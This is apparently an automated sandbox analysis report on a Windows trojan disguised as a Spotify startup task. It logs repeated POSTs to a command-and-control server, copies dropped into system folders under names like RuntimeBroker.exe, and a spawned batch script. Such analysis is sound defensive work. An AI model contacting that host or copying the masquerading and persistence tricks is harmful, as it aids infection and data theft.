Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1288Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1316Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 101349cm.renyash.ru

Source: unknown

HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.00000000029BE000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://101349cm.renyash.ru
Source: GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://101349cm.renyash.ru/
Source: GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.00000000029BE000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp.php
Source: GqjiKlwarV.exe, 00000005.00000002.4125015887.00000000029BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://101349cm.renyash.ruX
Source: GqjiKlwarV.exe, 00000000.00000002.1695511710.00000000030C8000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\9e8d7a4ca61bd9	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\Web\Wallpaper\Theme2\bfc3b77465cebf	Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B750D50	0_2_00007FFD9B750D50
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B750E43	0_2_00007FFD9B750E43
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B790D50	5_2_00007FFD9B790D50
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B790E43	5_2_00007FFD9B790E43

Source: GqjiKlwarV.exe, 00000000.00000002.1699916185.000000001B019000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs GqjiKlwarV.exe
Source: GqjiKlwarV.exe, 00000000.00000002.1699916185.000000001B019000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs GqjiKlwarV.exe
Source: GqjiKlwarV.exe, 00000000.00000000.1668508919.00000000003B2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs GqjiKlwarV.exe
Source: GqjiKlwarV.exe, 00000005.00000002.4123917671.000000000079C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs GqjiKlwarV.exe
Source: GqjiKlwarV.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs GqjiKlwarV.exe
Source: GqjiKlwarV.exe.0.dr	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs GqjiKlwarV.exe

Source: GqjiKlwarV.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: GqjiKlwarV.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: GqjiKlwarV.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe1.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: GqjiKlwarV.exe, sc0Of1oxstw6PFphGg4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: GqjiKlwarV.exe, sc0Of1oxstw6PFphGg4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: GqjiKlwarV.exe, sc0Of1oxstw6PFphGg4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: GqjiKlwarV.exe, sc0Of1oxstw6PFphGg4.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@11/20@1/2

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

File created: C:\Users\user\Desktop\bfc3b77465cebf

Jump to behavior

Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-6RPH5VjCZpOz8hstJkJx
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_03

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

File created: C:\Users\user\AppData\Local\Temp\Q5SJmJQHCA

Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat"

Source: GqjiKlwarV.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: GqjiKlwarV.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GqjiKlwarV.exe	ReversingLabs: Detection: 73%
Source: GqjiKlwarV.exe	Virustotal: Detection: 57%

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

File read: C:\Users\user\Desktop\GqjiKlwarV.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GqjiKlwarV.exe "C:\Users\user\Desktop\GqjiKlwarV.exe"
